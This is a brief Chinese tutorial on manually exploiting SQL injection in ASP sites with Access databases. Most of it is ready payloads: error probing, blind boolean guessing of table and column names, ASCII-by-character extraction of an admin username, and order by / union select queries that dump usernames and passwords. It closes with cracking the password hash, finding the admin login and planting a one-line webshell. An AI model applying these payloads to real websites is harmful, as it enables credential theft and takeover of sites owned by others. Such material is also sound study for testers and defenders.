access数据库一般是100人以下的小型数据库,后缀是asp的网站
先加一个’看下回显内容,有没有报错
在用and 1=1 和and 1=2看下回复内容
and 1=2 有报错内容,可以确定存在注入点
猜数据库名字,asp的数据库后缀是mdb
and exists(select * from 表名 )
表名需要猜,所以不一定能得到数据,先用users试一下,错误,所以表名错
用administrator试一下,能正常显示,说明数据库一定有这个表名
猜字段名
and exists(select id from administrator)
字段存在就不会报错
猜字段长度
and (select top 1 len(user_name) from administrator)>1
and (select top 1 len(user_name) from administrator)>5
有报错所以user_name的字段长度是5
猜字段内容
and (select top 1 asc(mid(user_name,1,1)) from administrator)>0
user_name从第一个取字母,取1个,返回正常页面,说明ASCII值大于0 ,字段值应该为字母,如果是小于0那么说明是汉字,下面我们继续猜解。
and (select top 1 asc(mid(user_name,1,1)) from administrator)>100
返回错误页面,说明字段对应的ASCll值在0和100之间。继续提交。
and (select top 1 asc(mid(user_name,1,1)) from administrator)>90
返回正常页面,说明字段对应的ASCll值在90和100之间。继续提交。
and (select top 1 asc(mid(user_name,1,1)) from administrator)>96
返回正常页面,说明字段对应的ASCll值在96和100之间。继续提交。
and (select top 1 asc(mid(user_name,1,1)) from administrator)>97
返回错误页面,说明administrator表中的user_name字段的第一位ASCII值为97。通过反查ASCII值对应的字母,得到字符值为“a”(图11)接着第二位查询。
上面的内容过于麻烦所以会用高级查询
高级查询——order by 与union select
order by 8 是报错的7是正常的,所以长度是7位
在用union select 1,2,3,4,5,6,7 from administrator,注意长度必须是正确位数位数错误会报错
可以看到回显有2,3,5,7是可显
2,3,5,7可以选择替换已经探索到的字段名,会显示字段的内容
union select 1,user_name,password,4,user_name,6,user_name from administrator
把密码cmd5解密一下
用后台扫描工具扫描下目录,找到登录网页,用admin和解密的密码登录网页
后台登录之后可以在里面插入一句话木马